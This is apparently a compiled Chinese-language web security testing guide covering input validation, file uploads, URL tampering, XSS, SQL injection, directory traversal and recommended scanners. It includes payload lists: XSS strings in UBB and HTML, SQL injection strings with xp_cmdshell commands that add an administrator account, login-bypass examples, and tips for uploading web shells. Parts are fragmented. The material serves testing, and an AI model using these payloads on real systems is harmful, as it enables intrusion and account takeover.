建立整体的威胁模型,测试溢出漏洞、信息泄漏、错误处理、SQL 注入、身份验证和授权错误.
客户端验证 服务器端验证(禁用脚本调试,禁用Cookies)
1.输入很大的数(如4,294,967,269),输入很小的数(负数)
2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应
3.输入特殊字符,如:~!@#$%^&*()_+<>:”{}|
4.输入中英文空格,输入字符串中间含空格,输入首尾空格
5.输入特殊字符串NULL,null,0x0d 0x0a
6.输入正常字符串
7.输入与要求不同类型的字符,如: 要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值; 要求输入字母则检查输入数字
8.输入html和javascript代码
9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化
例如:
1.输入”gfhd,看是否出错;
2.输入,看是否出现文本框;
3.输入看是否出现提示。
关于上传:
1.上传文件是否有格式限制,是否可以上传exe文件;
2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;
3.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制;
4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。
5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。
6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。
7.对于文件名中带有中文字符,特殊字符等的文件上传。
上传漏洞拿shell:
8.直接上传asp.asa.jsp.cer.php.aspx.htr.cdx….之类的马,拿到shell.
9.就是在上传时在后缀后面加空格或者加几点,也许也会有惊奇的发现。例:*.asp ,*.asp..。
10.利用双重扩展名上传例如:*.jpg.asa格式(也可以配上第二点一起利用)。
11.gif文件头欺骗
12.同名重复上传也很OK。:
下载:
关于URL:
1.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入;
2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错,是否可以非法进入某些页面;
3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。
4.输入善意字符。
UBB:
[url=http://www.****.com] 你的网站[/url]
1.试着用各种方式输入UBB代码,比如代码不完整,代码嵌套等等.
2.在UBB代码中加入属性,如样式,事件等属性,看是否起作用
3.输入编辑器中不存在的UBB代码,看是否起作用
[url=javascript:alert('hello')]链接[/url]
[email=javascript:alert('hello')]EMail[/email]
[[email protected] STYLE="background-image: url(javascript:alert('XSS'))"][email protected][/email]
[img]http://www.13fun.cn/2007713015578593_03.jpg style="background-image:url(javascript:alert('alert(xss)'))"[/img]
[img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg "οnmοuseοver=alert('hello');"[/img]
[b STYLE="background-image: url(javascript:alert('XSS'))"]一首诗酸涩涩服务网[/b]
[i STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]
[u]一二三四五六七北京市[/u]
[font=微软雅黑" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
[align=center" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
[float=left" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[font=微软雅黑 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
[align=center STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
[list=1]
[*]一二三四五六七北京市[/list]
[indent]一二三四五六七北京市[/indent]
[float=left STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]
常用的测试输入语句有:
1.jpg" οnmοuseοver="alert('xss')
">
http://xxx';alert('xss');var/ a='a
‘”>xss&<
a=”\” ; b=”;alert(/xss/);//”
“’”
‘”’
“””
“ “ “
“”“
“‘ ”
title=””
对输出数据到输出数据的对比,看是否出现问题。
Admin--
‘or --
‘ and ( ) exec insert * % chr mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49) ; %20AND%201=2
‘and 1=1 ; ‘And 1=1 ; ‘aNd 1=1 ;
and 1=2 ; ‘and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知字段)
;exec master..xp_cmdshell “net user name password /add”—
;exec master..xp_cmdshell “net localgroup name administrators /add”—
and 0<>(select count(*) from admin)
简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。
对于 XSS,只需检查 HTML 输出并看看您输入的内容在什么地方。它在一个 HREF 标记中吗?是否在 IFRAME 标记中?它在 CLSID 标记中吗?在 IMG SRC 中吗?某些 Flash 内容的 PARAM NAME 是怎样的?
★~!@#$%^&*()_+<>,./?;'"[]{}\-
★%3Cinput /%3E
★%3Cscript%3Ealert('XSS')%3C/script%3E
★
★
★
★
★
★
★javascript:alert(/xss/)
★javascript:alert(/xss/)
★
★
★
★=’>
★1.jpg" οnmοuseοver="alert('xss')
★">
★http://xxx';alert('xss');var/ a='a
★’”>xss&<
★"οnmοuseοver=alert('hello');"
★&{alert('hello');}
★>"'>
★>%22%27>
★>"'>
★AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22
★%22%2Balert(%27XSS%27)%2B%22
★
★
★
★a?
★因为“\n”是新行,如果在subject中输入“hello\ncc:[email protected]”,可能会形成以下
Subject: hello
cc: [email protected]
如果允许用户使用这样的subject,那他可能会给利用这个缺陷通过我们的平台给其它用 户发送垃圾邮件。
10. 不恰当的异常处理
分析:程序在抛出异常的时候给出了比较详细的内部错误信息,暴露了不应该显示的执行细节,网站存在潜在漏洞;
11. ...
WEB的安全性测试主要从以下方面考虑:
1.SQL Injection(SQL注入)
(1)如何进行SQL注入测试?
注1:对 于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在
的标签中间的每一个参数传递都有可能被利用.
注 2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10
注1:根据实际情况,SQL注入请求可以使用以下语句: ' or 1=1- - " or 1=1- - or 1=1- - ' or 'a'='a " or "a"="a ') or ('a'='a 例子:在登录时进行身份验证时,通常使用如下语句来进行验证:sql=select * from user where username='username' and pwd='password' 如 输入http://duck/index.asp?username=admin' or 1='1&pwd=11,SQL语句会变成以下:sql=select * from user where username='admin' or 1='1' and password='11' ' 与admin前面的'组成了一个查询条件,即username='admin',接下来的语句将按下一个查询条件来执行. 接 下来是OR查询条件,OR是一个逻辑运 算符,在判断多个条件的时候,只要一个成立,则等式就成立,后面的AND就不再时行判断了,也就是 说我们绕过了密码验证,我们只用用户名就可以登录. 如 输入http://duck/index.asp?username=admin'--&pwd=11,SQL语 句会变成以下sql=select * from user where name='admin' --' and pasword='11', '与admin前面的'组成了一个查 询条件,即username='admin',接下来的语句将按下一个查询条件来执行 |
(2)如何预防SQL注入?
从应用程序的角度来讲,我们要做以下三项工作:
从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验以下几项安全性问题:
当然在执行测试的过程中,我们也需求对上述两项内容进行测试.
2.Cross-site scritping(XSS):(跨站点脚本攻击)
(1)如何进行XSS测试?
|
注:其它的XSS测试语句
> (2)如何预防XSS漏洞? 从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成XSS检查: 4.Email Header Injection(邮件标头注入) Subject: hello 5.Directory Traversal(目录遍历) (2)如何预防目录遍历? 6.exposed error messages(错误信息) (2)如何预防? 如何做好网站的安全性测试 安全性保护数据以防止不合法用户故意造成的破坏; 完整性保护数据以防止合法用户无意中造成的破坏; 安全性测试(security testing)是有关验证应用程序的安全服务和识别潜在安全性缺陷的过程。 注意:安全性测试并不最终证明应用程序是安全的,而是用于验证所设立策略的有效性,这些对策是基于威胁分析阶段所做的假设而选择的。 一个完整的WEB安全性测试可以从部署与基础结构、输入验证、身份验证、授权、配置管理、敏感数据、会话管理、加密。参数操作、异常管理、审核和日志记录等几个方面入手。 1.安全体系测试 1)部署与基础结构 网络是否提供了安全的通信 部署拓扑结构是否包括内部的防火墙 部署拓扑结构中是否包括远程应用程序服务器 基础结构安全性需求的限制是什么 目标环境支持怎样的信任级别 2)输入验证 l如何验证输入 A.是否清楚入口点 B.是否清楚信任边界 C.是否验证Web页输入 D.是否对传递到组件或Web服务的参数进行验证 E.是否验证从数据库中检索的数据 F.是否将方法集中起来 G.是否依赖客户端的验证 H.应用程序是否易受SQL注入攻击 I.应用程序是否易受XSS攻击 l如何处理输入 3)身份验证 是否区分公共访问和受限访问 是否明确服务帐户要求 如何验证调用者身份 如何验证数据库的身份 是否强制试用帐户管理措施 4)授权 如何向最终用户授权 如何在数据库中授权应用程序 如何将访问限定于系统级资源 5)配置管理 是否支持远程管理 是否保证配置存储的安全 是否隔离管理员特权 6)敏感数据 是否存储机密信息 如何存储敏感数据 是否在网络中传递敏感数据 是否记录敏感数据 7)会话管理 如何交换会话标识符 是否限制会话生存期 如何确保会话存储状态的安全 8)加密 为何使用特定的算法 如何确保加密密钥的安全性 9)参数操作 是否验证所有的输入参数 是否在参数过程中传递敏感数据 是否为了安全问题而使用HTTP头数据 10)异常管理 是否使用结构化的异常处理 是否向客户端公开了太多的信息 11)审核和日志记录 是否明确了要审核的活动 是否考虑如何流动原始调用这身份 2.应用及传输安全 WEB应用系统的安全性从使用角度可以分为应用级的安全与传输级的安全,安全性测试也可以从这两方面入手。 应用级的安全测试的主要目的是查找Web系统自身程序设计中存在的安全隐患,主要测试区域如下。 注册与登陆:现在的Web应用系统基本采用先注册,后登录的方式。 A.必须测试有效和无效的用户名和密码 B.要注意是否存在大小写敏感, C.可以尝试多少次的限制 D.是否可以不登录而直接浏览某个页面等。 在线超时:Web应用系统是否有超时的限制,也就是说,用户登陆一定时间内(例如15分钟)没有点击任何页面,是否需要重新登陆才能正常使用。 操作留痕:为了保证Web应用系统的安全性,日志文件是至关重要的。需要测试相关信息是否写进入了日志文件,是否可追踪。 备份与恢复:为了防范系统的意外崩溃造成的数据丢失,备份与恢复手段是一个Web系统的必备功能。备份与恢复根据Web系统对安全性的要求可以采用多种手段,如数据库增量备份、数据库完全备份、系统完全备份等。出于更高的安全性要求,某些实时系统经常会采用双机热备或多级热备。除了对于这些备份与恢复方式进行验证测试以外,还要评估这种备份与恢复方式是否满足Web系统的安全性需求。 传输级的安全测试是考虑到Web系统的传输的特殊性,重点测试数据经客户端传送到服务器端可能存在的安全漏洞,以及服务器防范非法访问的能力。一般测试项目包括以下几个方面。 HTTPS和SSL测试:默认的情况下,安全HTTP(Soure HTTP)通过安全套接字SSL(Source Socket Layer)协议在端口443上使用普通的HTTP。HTTPS使用的公共密钥的加密长度决定的HTTPS的安全级别,但从某种意义上来说,安全性的保证是以损失性能为代价的。除了还要测试加密是否正确,检查信息的完整性和确认HTTPS的安全级别外,还要注意在此安全级别下,其性能是否达到要求。 服务器端的脚本漏洞检查:存在于服务器端的脚本常常构成安全漏洞,这些漏洞又往往被黑客利用。所以,还要测试没有经过授权,就不能在服务器端放置和编辑脚本的问题。 防火墙测试:防火墙是一种主要用于防护非法访问的路由器,在Web系统中是很常用的一种安全系统。防火墙测试是一个很大很专业的课题。这里所涉及的只是对防火墙功能、设置进行测试,以判断本Web系统的安全需求。 另推荐安全性测试工具: Watchfire AppScan:商业网页漏洞扫描器(此工具好像被IBM收购了,所以推荐在第一位) AppScan按照应用程序开发生命周期进行安全测试,早在开发阶段就进行单元测试和安全保证。Appscan能够扫描多种常见漏洞,例如跨网站脚本、HTTP应答切开、参数篡改、隐藏值篡改、后门/调试选项和缓冲区溢出等等。 Acunetix Web Vulnerability Scanner:商业漏洞扫描器 Acunetix WVS自动检查您的网页程序漏洞,例如SQL注入、跨网站脚本和验证页面弱密码破解。Acunetix WVS有着非常友好的用户界面,还可以生成个性化的网站安全评估报告。 黑盒主要测试点 用户管理模块,权限管理模块,加密系统,认证系统等 工具使用 Appscan(首要)、Acunetix Web Vulnerability Scanner(备用)、HttpAnalyzerFull、TamperIESetup 木桶原理 安全性最低的模块将成为瓶颈,需整体提高 (一)可手工执行或工具执行 输入的数据没有进行有效的控制和验证 用户名和密码 直接输入需要权限的网页地址可以访问 上传文件没有限制(此次不需要) 不安全的存储 操作时间的失效性 1.1)输入的数据没有进行有效的控制和验证 数据类型(字符串,整型,实数,等) 允许的字符集 最小和最大的长度 是否允许空输入 参数是否是必须的 重复是否允许 数值范围 特定的值(枚举型) 特定的模式(正则表达式)(注:建议尽量采用白名单) 1.22)用户名和密码-2 检测接口程序连接登录时,是否需要输入相应的用户 是否设置密码最小长度(密码强度) 用户名和密码中是否可以有空格或回车? 是否允许密码和用户名一致 防恶意注册:可否用自动填表工具自动注册用户? (傲游等) 遗忘密码处理 有无缺省的超级用户?(admin等,关键字需屏蔽) 有无超级密码? 是否有校验码? 密码错误次数有无限制? 大小写敏感? 口令不允许以明码显示在输出设备上 强制修改的时间间隔限制(初始默认密码) 口令的唯一性限制(看需求是否需要) 口令过期失效后,是否可以不登陆而直接浏览某个页面 哪些页面或者文件需要登录后才能访问/下载 cookie中或隐藏变量中是否含有用户名、密码、userid等关键信息 1.3)直接输入需要权限的网页地址可以访问 避免研发只是简单的在客户端不显示权限高的功能项 举例Bug: 没有登录或注销登录后,直接输入登录后才能查看的页面的网址(含跳转页面),能直接打开页面; 注销后,点浏览器上的后退,可以进行操作。 正常登录后,直接输入自己没有权限查看的页面的网址,可以打开页面。 通过Http抓包的方式获取Http请求信息包经改装后重新发送 从权限低的页面可以退回到高的页面(如发送消息后,浏览器后退到信息填写页面,这就是错误的) 1.4)上传文件没有限制(此次不需要) 传文件还要有大小的限制。 上传木马病毒等(往往与权限一起验证) 上传文件最好要有格式的限制; 1.5)不安全的存储 在页面输入密码,页面应显示 “*****”; 数据库中存的密码应经过加密; 地址栏中不可以看到刚才填写的密码; 右键查看源文件不能看见刚才输入的密码; 帐号列表:系统不应该允许用户浏览到网站所有的帐号,如果必须要一个用户列表,推荐使用某种形式的假名(屏幕名)来指向实际的帐号 1.6)操作时间的失效性 检测系统是否支持操作失效时间的配置,同时达到所配置的时间内没有对界面进行任何操作时,检测系统是否会将用户自动失效,需要重新登录系统。 支持操作失效时间的配置。 支持当用户在所配置的时间内没有对界面进行任何操作则该应用自动失效。 如,用户登陆后在一定时间内(例如15 分钟)没有点击任何页面,是否需要重新登陆才能正常使用。 (二)借助工具或了解后手工来进行测试 不能把数据验证寄希望于客户端的验证 不安全的对象引用,防止XSS攻击 注入式漏洞(SQL注入) 传输中与存储时的密码没有加密 ,不安全的通信 目录遍历 2.1)不能把数据验证寄希望于客户端的验证 避免绕过客户端限制(如长度、特殊字符或脚本等),所以在服务器端验证与限制 客户端是不安全,重要的运算和算法不要在客户端运行。 Session与cookie 例:保存网页并对网页进行修改,使其绕过客户端的验证。 (如只能选择的下拉框,对输入数据有特殊要求的文本框) 还可以查看cookie中记录,伪造请求 测试中,可使用TamperIESetup来绕过客户端输入框的限制 2.21)不安全的对象引用,防止XSS等攻击 阻止带有语法含义的输入内容,防止Cross Site Scripting (XSS) Flaws 跨站点脚本攻击(XSS) 防止Cross-site request forgery(CSRF)跨站请求伪造 xss解释:不可信的内容被引入到动态页面中,没有识别这种情况并采取保护措施。攻击者可在网上提交可以完成攻击的脚本,普通用户点击了网页上这些攻击者提交的脚本,那么就会在用户客户机上执行,完成从截获帐户、更改用户设置、窃取和篡改 cookie 到虚假广告在内的种种攻击行为 测试方法:在输入框中输入下列字符,可直接输入脚本来看 HTML标签:<…>……> 转义字符:&(&);<(<);>(>); (空格) ; 脚本语言: 特殊字符:‘ ’ <>/ 最小和最大的长度 是否允许空输入 对Grid、Label、Tree view类的输入框未作验证,输入的内容会按照html语法解析出来,要控制脚本注入的语法要素。比如:javascript离不开:“<”、“>”、“(”、“)”、“;”. 在输入或输出时对其进行字符过滤或转义处理 2.23)注入式漏洞(SQL注入) 对数据库等进行注入攻击。 例:一个验证用户登陆的页面, where username=’’ + username+’’ and pass word ….. 则在Sql语句后面 输入 ‘ or 1=1 ―― 就可以不输入任何password进行攻击 SELECT count(*) (资料太多,不显示了此处,借助工具Appscan等吧) 2.24)传输中与存储时的密码没有加密 利用ssl来进行加密,在位于HTTP层和TCP层之间,建立用户与服务器之间的加密通信 进入一个SSL站点后,可以看到浏览器出现警告信息,然后地址栏的http变成https (特点确定) 证书认证 ———————————————————————— 检查数据库中的用户密码、管理者密码等字段是否是以加密方式保存。 存储数据库单独隔离,有备份的数据库,权限唯一 2.25)目录遍历 举例: http://love.ah163.net/Personal_Spaces_List.php?dir=MyFolder /usr/local/apache/conf/里的所有文件都出来了 简要的解决方案: (三)研发或使用工具才能进行 认证和会话数据不能作为GET的一部分来发送 隐藏域与CGI参数 不恰当的异常处理 不安全的配置管理 缓冲区溢出 拒绝服务 日志完整性、可审计性与可恢复性 3.1)Get or post 认证和会话数据不应该作为GET的一部分来发送,应该使用POST 例:对Grid、Label、Tree view类的输入框未作验证,输入的内容会按照html语法解析出来 可使用TamperIESetup或ScannerHttpAnalyzerFull来判断 3.2)隐藏域与CGI参数 Bug举例: 如大小写,编码解码,附加特殊字符或精心构造的特殊请求等都可能导致CGI源代码泄露 可使用appscan或sss等来检测,检查特殊字符集 3.3)不恰当的异常处理 分析:程序在抛出异常的时候给出了比较详细的内部错误信息,暴露了不应该显示的执行细节,网站存在潜在漏洞,有可能会被攻击者分析出网络环境的结构或配置 通常为其他攻击手段的辅助定位方式 举例:如www.c**w.com ,搜索为空时,,数据库显示出具体错误位置,可进行sql注入攻击或关键字猜测攻击 3.4)不安全的配置管理 分析:Config中的链接字符串以及用户信息,邮件,数据存储信息都需要加以保护 配置所有的安全机制, 关掉所有不使用的服务, 设置角色权限帐号, 使用日志和警报。 手段:用户使用缓冲区溢出来破坏web应用程序的栈,通过发送特别编写的代码到web程序中,攻击者可以让web应用程序来执行任意代码 例:数据库的帐号是不是默认为“sa”,密码(还有端口号)是不是直接写在配置文件里而没有进行加密。 3.5)缓冲区溢出 WEB服务器没有对用户提交的超长请求没有进行合适的处理,这种请求可能包括超长URL,超长HTTP Header域,或者是其它超长的数据 使用类似于“strcpy(),strcat()”不进行有效位检查的函数,恶意用户编写一小段程序来进一步打开安全缺口,然后将该代码放在缓冲区有效载荷末尾,这样,当发生缓冲区溢出时,返回指针指向恶意代码 用户使用缓冲区溢出来破坏web应用程序的栈,通过发送特别编写的代码到web程序中,攻击者可以让web应用程序来执行任意代码。 如apach缓冲区溢出等错误,第三方软件也需检测 3.6)拒绝服务 手段:超长URL,特殊目录,超长HTTP Header域,畸形HTTP Header域或者是DOS设备文件 分析:攻击者可以从一个主机产生足够多的流量来耗尽狠多应用程序,最终使程序陷入瘫痪。需要做负载均衡来对付。 详细如:死亡之ping、泪滴(Teardorop)、 UDP洪水(UDP Flood)、 SYN洪水(SYN Flood)、 Land攻击、Smurf攻击、Fraggle攻击、 畸形消息攻击 3.7)日志完整性。可审计性与可恢复性 服务器端日志:检测系统运行时是否会记录完整的日志。 如进行详单查询,检测系统是否会记录相应的操作员、操作时间、系统状态、操作事项、IP地址等 检测对系统关键数据进行增加、修改和删除时,系统是否会记录相应的修改时间、操作人员和修改前的数据记录。 工具篇 Watchfire Appscan——全面自动测试工具 Acunetix Web Vulnerability ——全面自动测试工具 ScannerHttpAnalyzerFull——加载网页时可判断 TamperIESetup——提交表单时改造数据 注:上述工具最好安装在虚拟机中,不影响实际机环境 Appscan、 Web Vulnerability 需安装.net framework,可能与sniffer冲突 ScannerHttpAnalyzerFul与TamperIESetup会影响实际机浏览器平时的功能测试 |